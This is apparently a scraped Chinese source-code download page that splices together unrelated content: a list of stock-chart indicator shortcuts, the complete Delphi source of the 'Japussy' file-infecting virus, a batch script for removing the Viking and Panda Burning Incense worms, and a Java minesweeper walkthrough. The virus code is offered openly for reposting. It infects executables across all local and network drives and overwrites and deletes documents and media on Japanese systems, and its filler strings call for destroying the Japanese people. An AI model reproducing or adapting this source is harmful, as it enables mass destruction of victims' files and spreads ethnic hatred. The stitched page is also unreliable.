163源码?源码网




通达信 区间震荡线 dpo指标源码
在个股日K线图的任何一天上,双击鼠标左键,在日K线图的右下角会有那一天的实时交易K线.
如果不会运用,可求助帮助功能.
如:大智慧的指标快捷键
打开大智慧'帮助'--4.5指标快捷键一览
〖110〗:MA移动平均线〖112〗:CHANNELS通道线
〖114〗:主力成本〖115〗:TDX天地线
〖116〗:SAR抛物转向〖117〗:XS薛氏通道
〖118〗:PBX瀑布线〖120〗:ROC变动速率
〖121〗:MTM动力指标〖123〗:DMI趋向指标
〖125〗:RSI相对强弱指标〖126〗:主力轨迹
〖128〗:DMA平均离差〖130〗:DPO区间震荡线
〖132〗:MACD指数平滑异同平均线〖133〗:KDJ随机指标
〖134〗:CCI顺势指标〖139〗:PSY心理线
〖140〗:BIAS乖离率〖141〗:W&R威廉指标
〖142〗:%B布林极限〖143〗:CR能量指标
〖144〗:BRAR人气意愿指标〖148〗:TRIX三重指数平滑平均数
〖149〗:ASI振动升降指标〖150〗:OBV能量潮
〖151〗:主力进出〖154〗:MFI资金流量指标
〖155〗:PVI正量指标〖156〗:NVI负量指标
〖157〗:VMACD指数平滑异同平均线〖158〗:VR容量比率
〖161〗:WVAD威廉变异离散量〖163〗:EMV简易波动指标
〖164〗:拉升在即〖165〗:底部构成
〖166〗:主力买卖〖170〗:MIKE麦克指标
〖171〗:CDP逆势操作〖180〗:ADL藤落指数
〖181〗:ADR涨落比率〖182〗:ABI指标
〖183〗:STIX指数平滑广量指标〖187〗:EXPMA平滑移动平均线
〖188〗:散户线〖189〗:KCX控筹线
〖190〗:成交笔数〖191〗:每笔手数
〖AD〗:AD集散量、A/D上涨家数比〖ABI〗:ABI指标
〖ACD〗:ACD收集派发〖ADL〗:ADL藤落指数
〖ADR〗:ADR涨落比率〖ALF〗:ALF过滤指标
〖ASI〗:ASI振动升降指标〖ASR〗:ASR浮筹比例
〖ATR〗:ATR真实波幅〖AMOUNT〗:AMOUNT成交额
〖ADTM〗:ADTM动态买卖气指〖B〗:%B布林极限
〖BBI〗:BBI多空指数〖BTI〗:BTI广量冲力指标
〖BFTD〗:VB波幅通道〖BIAS〗:BIAS乖离率
〖BOLL〗:BOLL布林线〖BRAR〗:BRAR人气意愿指标
〖B3612〗:B3612三减六日乖离〖BWIDTH〗:BWIDTH布林极限宽
〖BBIBOLL〗:BBIBOLL多空布林线〖CD〗:CD相对强度
〖CHAIKIN〗: CHAIKIN佳庆线〖CR〗:CR能量指标
〖CCI〗:CCI顺势指标〖CDP〗:CDP逆势操作
〖CHO〗:CHO济坚指数〖CYC〗:CYC指南针成本均线
〖CYS〗:CYS市场盈亏〖CYW〗:CYW主力控盘
〖CYQKL〗: CYQKL指南针博弈K线长度〖DDI〗:DDI方向标准离差指数
〖DKX〗:DKX多空线〖DMA〗:DMA平均离差
〖DMI〗:DMI趋向指标〖DMIQL〗DMI-QL趋向指标(钱龙)
〖DPO〗:DPO区间震荡线〖DBCD〗:DBCD异同离差乖离率
〖DBGC〗:DBGC底部构成〖DPTB〗:DPTB大盘同步指标
〖EMV〗:EMV简易波动指标〖ENV〗:ENV轨道线
〖EOM〗:EOM活动能力〖EXPMA〗:EXPMA平滑移动平均线
〖FASTKD〗:FASTKD随机快步〖GLZB〗:ALF过滤指标
〖HDNL〗:EOM活动能力〖II〗:II当日成交密度
〖JDQS〗:JDQS阶段强势指标〖JJZB〗:CHO济坚指数
〖JEZF〗:江恩正方〖KD〗:KD随机指标
〖KDJ〗:KDJ随机指标〖KST〗:KST完定指标
〖LFS〗:LFS锁定因子〖LWR〗:LW&R威廉指标
〖LJX〗:量价线〖LJQS〗:VPT量价趋势
〖LSZJ〗:LSZJ拉升在即〖M1〗:M1移动平均线
〖MA〗:移动平均线〖MI〗:MI动量指标
〖MFI〗:MFI资金流量指标〖MJR〗:MJR
〖MTM〗:MTM动力指标〖MACD〗:MACD指数平滑异同平均线
〖MASS〗:MASS重量指数〖MICD〗:MICD异同离差动力指数
〖MIKE〗:MIKE麦克指标〖NDB〗:NDB脑电波
〖NVI〗:NVI负量指标〖NORVOL〗:NORVOL标准化成交量
〖OX〗:OX图〖OBV〗:OBV能量潮
〖OSC〗:OSC震荡量〖OBOS〗:OBOS超买超卖
〖OLAL〗:OLAL叠加线〖PR〗:PR穿透率
〖PBX〗:PBX瀑布线〖PSY〗:PSY心理线
〖PVI〗:PVI正量指标〖PVT〗:PVT价/量趋势
〖PRICE〗:PRICE价位线〖PRICEOSC〗:PRICEOSC指数震荡
〖QLCX〗:钱龙长线〖QLDX〗:钱龙短线
〖QLZB〗:钱龙指标〖QRSI〗:QRSI量RSI
〖QHLSR〗:QHLSR阻力指标〖RC〗:RC变化率指数
〖RS〗:RS相对强弱比〖RMI〗:RMI
〖ROC〗:ROC变动速率〖RSI〗:RSI相对强弱指标
〖RCCD〗:RCCD异同离差变化率指数〖SP〗:SP低点搜寻交易系统
〖SAR〗:SAR抛物转向〖SCR〗:SCR筹码集中度
〖SMI〗:SMI〖SJKB〗:FASTKD随机快步
〖SJPF〗:ACD收集派发〖SOBV〗:SOBV能量潮
〖SRMI〗:SRMI MI修正指标〖STIX〗:STIX指数平滑广量指标
〖SLOWKD〗:SLOWKD慢速KD〖SDKJ〗:四度空间
〖TBR〗:TBR新三价率〖TDX〗:TDX天地线
〖TDZS〗:CCI-4.0通道指数〖TRIX〗:TRIX三重指数平滑平均数
〖TRIX40〗:TRIX-4.0 TRIX趋向指标〖UOS〗:UOS终极指标
〖VB〗:VB波幅通道〖VR〗:VR容量比率
〖VMA〗:VMA成交量指标〖VOL〗:VOL成交量
〖VPT〗:VPT量价趋势〖VOSC〗:VOSC成交量震荡
〖VSTD〗:VSTD成交量标准差〖VMACD〗:VMACD指数平滑异同平均线
〖WR〗:W&R威廉指标〖WDZB〗:KST完定指标
〖WLLD〗:威力雷达〖WVAD〗:WVAD威廉变异离散量
〖XS〗:XS薛氏通道〖XDT〗:XDT心电图
〖ZIG〗: ZIG ZIG ZAG之字转向〖ZDZB〗:ZDZB筑底指标
〖ZHPS〗:ZHPS智慧判势〖ZHSL〗:ZHSL换手率
〖ZLGJ〗:ZLGJ主力轨迹〖ZLJC〗:ZLJC主力进出
〖ZLMM〗:ZLMM主力买卖〖ZUPR〗:ZUPR阶段涨幅
〖ZVOL〗:ZVOL阶段总成交量〖ZLCB〗:主力成本
〖ZAMOUNT〗:ZAMOUNT阶段总成交额〖CCI40〗:CCI-4.0通道指数
〖STOCKRSI〗:STOCKRSI〖SHX〗:散户线
谁有熊猫烧香的源代码,给我发一份
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize= 82432;//病毒体的大小
IconOffset=$12EB8;//PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize= 38912;//Upx压缩过病毒体的大小
IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量
//Upx 1.24W用法: upx-9--8086 Japussy.exe
}
IconSize=$2E8;//PE文件主图标的大小--744字节
IconTail= IconOffset+ IconSize;//PE文件主图标的尾部
ID=$44444444;//感染标记
//垃圾码,以备写入
Catchword=''''''''''''''''If a race need to be killed out, it must be Yamato.''''''''''''''''+
''''''''''''''''If a country need to be destroyed, it must be Japan!''''''''''''''''+
''''''''''''''''*** W32.Japussy.Worm.A***'''''''''''''''';
{$R*.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external''''''''''''''''Kernel32.dll'''''''''''''''';//函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean= False;//日文操作系统标记
{判断是否为Win9x}
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result:= False;
Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if(Ver.dwPlatformID= VER_PLATFORM_WIN32_WINDOWS) then//Win9x
Result:= True;
end;
{在流之间复制}
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos:= Src.Position;
dCurPos:= Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{将宿主文件从已感染的PE文件中分离出来,以备使用}
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream:= TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0);//跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size- HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{填充STARTUPINFO结构}
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb:= SizeOf(Si);
Si.lpReserved:= nil;
Si.lpDesktop:= nil;
Si.lpTitle:= nil;
Si.dwFlags:= STARTF_USESHOWWINDOW;
Si.wShowWindow:= State;
Si.cbReserved2:= 0;
Si.lpReserved2:= nil;
end;
{发带毒邮件}
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{感染PE文件}
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try//出错则文件正在被使用,退出
if CompareText(FileName,''''''''''''''''JAPUSSY.EXE'''''''''''''''')= 0 then//是自己则不感染
Exit;
Infected:= False;
IsPE:= False;
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
try
for i:= 0 to$108 do//检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if(Buf[0]=#80) and(Buf[1]=#69) then//PE标记
begin
IsPE:= True;//是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd);//检查感染标记
SrcStream.Read(iID, 4);
if(iID= ID) or(SrcStream.Size< 10240) then//太小的文件不感染
Infected:= True;
finally
SrcStream.Free;
end;
if Infected or(not IsPE) then//如果感染过了或不是PE文件则退出
Exit;
IcoStream:= TMemoryStream.Create;
DstStream:= TMemoryStream.Create;
try
aIcon:= TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle:= ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize- IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID:=$44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName);//替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{将目标文件写入垃圾码后删除}
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0);//去掉只读属性
FileHandle:= FileOpen(FileName, fmOpenWrite);//打开文件
try
Size:= GetFileSize(FileHandle, nil);//文件大小
i:= 0;
Randomize;
Max:= Random(15);//写入垃圾码的随机次数
if Max< 5 then
Max:= 5;
Mass:= Size div Max;//每个间隔块的大小
Len:= Length(Catchword);
while i< Max do
begin
FileSeek(FileHandle, i* Mass, 0);//定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle);//关闭文件
end;
DeleteFile(PChar(FileName));//删除之
except
end;
end;
{获得可写的驱动器列表}
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i:= 0 to 25 do//遍历26个字母
begin
D:= Chr(i+ 65);
Str:= D+'''''''''''''''':\'''''''''''''''';
DiskType:= GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if(DiskType= DRIVE_FIXED) or(DiskType= DRIVE_REMOTE) then
Result:= Result+ D;
end;
end;
{遍历目录,感染和摧毁文件}
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if(SearchRec.Attr<> 16) and(SearchRec.Name<>''''''''''''''''.'''''''''''''''') and
(SearchRec.Name<>''''''''''''''''..'''''''''''''''') then
Result:= 0//不是目录
else if(SearchRec.Attr= 16) and(SearchRec.Name<>''''''''''''''''.'''''''''''''''') and
(SearchRec.Name<>''''''''''''''''..'''''''''''''''') then
Result:= 1//不是根目录
else Result:= 2;//是根目录
end;
begin
if(FindFirst(Path+ Mask, faAnyFile, SearchRec)= 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE);//调整消息队列,避免引起怀疑
if IsValidDir(SearchRec)= 0 then
begin
Fn:= Path+ SearchRec.Name;
Ext:= UpperCase(ExtractFileExt(Fn));
if(Ext=''''''''''''''''.EXE'''''''''''''''') or(Ext=''''''''''''''''.SCR'''''''''''''''') then
begin
InfectOneFile(Fn);//感染可执行文件
end
else if(Ext=''''''''''''''''.HTM'''''''''''''''') or(Ext=''''''''''''''''.HTML'''''''''''''''') or(Ext=''''''''''''''''.ASP'''''''''''''''') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext=''''''''''''''''.WAB'''''''''''''''' then//Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext=''''''''''''''''.ADC'''''''''''''''' then//Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext=''''''''''''''''IND'''''''''''''''' then//Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then//是倭文操作系统
begin
if(Ext=''''''''''''''''.DOC'''''''''''''''') or(Ext=''''''''''''''''.XLS'''''''''''''''') or(Ext=''''''''''''''''.MDB'''''''''''''''') or
(Ext=''''''''''''''''.MP3'''''''''''''''') or(Ext=''''''''''''''''.RM'''''''''''''''') or(Ext=''''''''''''''''.RA'''''''''''''''') or
(Ext=''''''''''''''''.WMA'''''''''''''''') or(Ext=''''''''''''''''.ZIP'''''''''''''''') or(Ext=''''''''''''''''.RAR'''''''''''''''') or
(Ext=''''''''''''''''.MPEG'''''''''''''''') or(Ext=''''''''''''''''.ASF'''''''''''''''') or(Ext=''''''''''''''''.JPG'''''''''''''''') or
(Ext=''''''''''''''''.JPEG'''''''''''''''') or(Ext=''''''''''''''''.GIF'''''''''''''''') or(Ext=''''''''''''''''.SWF'''''''''''''''') or
(Ext=''''''''''''''''.PDF'''''''''''''''') or(Ext=''''''''''''''''.CHM'''''''''''''''') or(Ext=''''''''''''''''.AVI'''''''''''''''') then
SmashFile(Fn);//摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until(FindNext(SearchRec)<> 0);
end;
FindClose(SearchRec);
SubDir:= TStringList.Create;
if(FindFirst(Path+''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec)= 0) then
begin
repeat
if IsValidDir(SearchRec)= 1 then
SubDir.Add(SearchRec.Name);
until(FindNext(SearchRec)<> 0);
end;
FindClose(SearchRec);
Count:= SubDir.Count- 1;
for i:= 0 to Count do
LoopFiles(Path+ SubDir.Strings+''''''''''''''''\'''''''''''''''', Mask);
FreeAndNil(SubDir);
end;
{遍历磁盘上所有的文件}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP= 932 then//日文操作系统
IsJap:= True;//去死吧!
DriverList:= GetDrives;//得到可写的磁盘列表
Len:= Length(DriverList);
while True do//死循环
begin
for i:= Len downto 1 do//遍历每个磁盘驱动器
LoopFiles(DriverList+'''''''''''''''':\'''''''''''''''',''''''''''''''''*.*'''''''''''''''');//感染之
SendMail;//发带毒邮件
Sleep(1000* 60* 5);//睡眠5分钟
end;
end;
{主程序开始}
begin
if IsWin9x then//是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1)//注册为服务进程
else//WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)),''''''''''''''''Japussy.exe'''''''''''''''')= 0 then
InfectFiles//感染和发邮件
else//已寄生于宿主程序上了,开始工作
begin
TmpFile:= ParamStr(0);//创建临时文件
Delete(TmpFile, Length(TmpFile)- 4, 4);
TmpFile:= TmpFile+#32+''''''''''''''''.exe'''''''''''''''';//真正的宿主文件,多一个空格
ExtractFile(TmpFile);//分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil,''''''''''''''''.'''''''''''''''', Si, Pi);//创建新进程运行之
InfectFiles;//感染和发邮件
end;
end.
请转帖的朋友标明出处 www.honkercn.net
以下为清除威金、熊猫烧香病毒的批处理
@echo off
title清除威金(logo_1,熊猫烧香)病毒最新变种工具
@echo清除VIKING病毒最新变种工具
pause
if exist%windir%\rundl132.exe echo---报告老大,发现有威金病毒埋伏!让我来干掉它-----
if exist%windir%\logo_1.exe echo---报告老大,发现有威金病毒埋伏!让我来干掉它-----
//杀viking进程
tskill logo_1
tskill rundl132
tskill zt
tskill wow
tskill logo1_
tskill Ravmon
tskill Eghost
tskill Mailmon
tskill KAVPFW
tskill IPARMOR
tskill Ravmond
taskkill/f/im 0sy.exe
taskkill/f/im 1sy.exe
taskkill/f/im 2sy.exe
taskkill/f/im 3sy.exe
taskkill/f/im 4sy.exe
taskkill/f/im 5sy.exe
taskkill/f/im 6sy.exe
taskkill/f/im 7sy.exe
taskkill/f/im 8sy.exe
taskkill/f/im 9sy.exe
//删除木马
del d:\_desktop.ini/f/s/q/a
del c:\Program Files\_desktop.ini
del%Windir%\MickNew\MickNew.dll
del%Windir%\MH_FILE\MH_DLL.dll
del%Windir%\_desktop.ini
del%Windir%\TODAYZTKING\TODAYZTKING.DLL
attrib-h-r-s c:\go.exe
del c:\go.exe
del c:\setup.exe
attrib-h-s-r c:\autorun.inf
del c:\autorun.inf
attrib-h-r-s d:\go.exe
del d:\go.exe
del d:\setup.exe
attrib-h-s-r d:\autorun.inf
del d:\autorun.inf
del e:\setup.exe
attrib-h-r-s e:\go.exe
del e:\go.exe
attrib-h-s-r e:\autorun.inf
del e:\autorun.inf
attrib-h-r-s f:\go.exe
del f:\go.exe
del f:\setup.exe
attrib-h-s-r f:\autorun.inf
del f:\autorun.inf
attrib-h-r-s g:\go.exe
del g:\go.exe
del g:\setup.exe
attrib-h-s-r g:\autorun.inf
del g:\autorun.inf
del h:\go.exe
del h:\setup.exe
attrib-h-s-r g:\autorun.inf
del h:\autorun.inf
del i:\go.exe
attrib-h-s-r g:\autorun.inf
del i:\autorun.inf
del i:\setup.exe
del j:\go.exe
attrib-h-s-r g:\autorun.inf
del j:\autorun.inf
del j:\setup.exe
del%windir%\system\Logo1_.exedel%windir%\system\Logo_1.exe
del%windir%\rundl132.exe
del%windir%\vDll.dll
del%windir%\Dll.dll
del%windir%\0Sy.exe
del%windir%\1Sy.exe
del%windir%\2Sy.exe
del%windir%\3Sy.exe
del%windir%\5Sy.exe
del%windir%\1.com
@echo ^_^报告老大,VIKING已经全都被处死
@echo真累哈,再给你的系统免疫下,不需要的话请直接退出
pause
//免疫系统
echo>%windir%\Logo1_.exe
echo>%windir%\rundl132.exe
echo>%windir%\0Sy.exe
echo>%windir%\vDll.dll
echo>%windir%\1Sy.exe
echo>%windir%\2Sy.exe
echo>%windir%\rundll32.exe
echo>%windir%\3Sy.exe
echo>%windir%\5Sy.exe
echo>%windir%\1.com
echo>%windir%\exerouter.exe
echo>%windir%\EXP10RER.com
echo>%windir%\finders.com
echo>%windir%\Shell.sys
echo>%windir%\kill.exe
echo>%windir%\sws.dll
echo>%windir%\sws32.dll
echo>%windir%\uninstall\rundl132.exe
echo>%windir%\SVCHOST.exe
echo>%windir%\WINLOGON.exe
echo>%windir%\RUNDLL32.EXE
echo> C:\"Program Files"\svchost.exe
echo> C:\"Program Files"\"Internet Explorer"\svchost.exe
echo>%windir%\Download\svchost.exe
echo>%windir%\system32\wldll.dll
attrib%windir%\Logo1_.exe+s+r+h
attrib%windir%\rundl132.exe+s+r+h
attrib%windir%\0Sy.exe+s+r+h
attrib%windir%\vDll.dll+s+r+h
attrib%windir%\1Sy.exe+s+r+h
attrib%windir%\2Sy.exe+s+r+h
attrib%windir%\rundll32.exe+s+r+h
attrib%windir%\3Sy.exe+s+r+h
attrib%windir%\5Sy.exe+s+r+h
attrib%windir%\1.com+s+r+h
attrib%windir%\exerouter.exe+s+r+h
attrib%windir%\EXP10RER.com+s+r+h
attrib%windir%\finders.com+s+r+h
attrib%windir%\Shell.sys+s+r+h
attrib%windir%\kill.exe+s+r+h
attrib%windir%\sws.dll+s+r+h
attrib%windir%\sws32.dll+s+r+h
attrib%windir%\uninstall\rundl132.exe+s+r+h
attrib%windir%\SVCHOST.exe+s+r+h
attrib%windir%\WINLOGON.exe+s+r+h
attrib%windir%\RUNDLL32.EXE+s+r+h
attrib C:\"Program Files"\svchost.exe+s+r+h
attrib C:\"Program Files"\"Internet Explorer"\svchost.exe+s+r+h
attrib%windir%\Download\svchost.exe+s+r+h
attrib%windir%\system32\wldll.dll+s+r+h
net share c$/del
net share d$/del
net share e$/del
net share f$/del
net share admin$/del
net share ipc$/del
cls
@echo-------------------------------------
@echo viking已经全部被我杀完拉,哈,厉害吧
@echo系统已经成功免疫!
@echo谢谢你的使用,请重启您的电脑!
@echo-------------------------------------
pause
谁有java游戏源码,给我发过来‘
注意:源代码仅供个人作学习研究时的参考,不得在程序制作中直接抄录。
源代码一共两个文件:Mine.java,MGame.java,另外还有一些图片。
在JBuilder下建立一个新的工程,将两个源文件复制到工程目录下的src\mine目录中,将所有图片复制到src\images目录中就可以了。
要点分析
数据结构
首先要说明一下用来存放地雷信息的数组grid。
grid是一个二维数组,第一位对应表格的行,第二位对应表格的列,比如grid[y][x]表示第y行第x列。每个字节的含义分三段:0-9表示已经挖开;10-19表示仍然埋藏;20-29表示做了标记。每段中:0-8表示周围的地雷数量;9表示是地雷。
newGame()函数
这是用于开始一个新游戏的。
由于每次地雷的埋放地是随机的,应次开始新游戏之前先要生成新的地雷信息。
第一步是初始化grid,将所有内容都置成10,因为一开始所有格子都是埋藏的。
for(i=0;i<Height; i++)
{
for(j=0; j<Width; j++)
grid[j]= 10;
}
第二步是随机产生地雷。当然了,已经产生过地雷的地方要避开。
for(i=0; i<MINECOUNT; i++)
{
while(true)
{
x= Math.abs(rand.nextInt())% Width;
y= Math.abs(rand.nextInt())% Height;
if(grid[y][x]!= 19)
{
grid[y][x]= 19;
break;
}
}
}
最后就是无雷处计算周围的雷数了。怎么计算?一个一个加就是了。
挖雷与做标记
在看一下按键响应函数keyPressed(int kcode),按1键是挖开动作。
前半部分表示如果当前焦点在一个埋藏格(值介于10到19之间),那么将其值减10,表示现在挖开。当然如果地下不是雷而且周围没有雷(值等于0)那么需要自动展开,这里调用了Expand(),(selx,sely)是当前焦点的表格坐标。
后半部分表示如果当前焦点在一个已经挖开的格子上(值小于10),那么就调用SafeExp()来自动挖开周围未挖的格子。
按3键是做标记动作。如果当前格是埋藏格,就做上标记(值加10);如果当前格已经做了标记,那么就去掉标记(值减10)。
自动展开
Expand()是一个嵌套函数,他的作用是将周围不含地雷的格子周围全部挖开,如果挖开的部分中也有周围不含地雷的格子,那么对那些格子也重复前面的操作,直到把相关的格子都挖开。挖的顺序是左上、上、右上、左、右、左下、下、右下,如果遇到一个周围不含地雷的格子(值为0)那么马上嵌套调用Expand()对那个格子进行处理。
SafeExp()是一个自动挖开周围未挖格子的函数。当然要实现这个功能是有条件的,就是周围做了标记的格子数量必须等于当前格所标的数字,也就是说玩家把周围所有的地雷都标记了(不管是否标错)。函数中第一个部分就是做以上条件的判断。
第二部分是把周围埋藏的格子挖开。但是由于玩家的错误可能标记了没有地雷的格子,而把有地雷的格子漏标了,所以先要检查一下没做标而有地雷的格子和做错标记的格子。如果没有这些错误,那么可以安全的翻开了,同时也要检查是否挖到周围不含雷的格子,有的话就要调用Expand()了。
SafeExp()的返回值表示是否引爆了地雷,就是标记错误,true表示是,false表示否。这主要用于判断这次游戏是否要结束。
类介绍
图像缓存 ExtendedImage
ExtendedImage是Siemens自己扩展的一个专用类,只在Siemens的Java中存在。
这个类主要是用做图像的缓存。大家不知道还有没有印象,以前在PC上编程的时候由于显示的速度比较慢,往往会开一片显示缓存,先把要现实的内容画到这片缓存中,全部画好后再一次性显示出来,ExtendedImage类就起到了这个作用。其实Java本身的Image类也可以实现类似的功能,但是显示速度好象不如人意,而且ExtendedImage更好用,所以我基本上都采用这个类。当然这对通用性是不利的。
ExtendImage的主要函数有:
void clear(byte color);
用给定的颜色填充整个图形区域。
void blitToScreen(int x, int y);
将缓存内容贴到显示屏上,(x,y)是屏幕左上角坐标。
Image getImage();
返回一个标准的Image类。可以通过ExtendImage.getImage().getGraphics()得到与其相关的Graphics对象,用来往ExtendImage上面画图。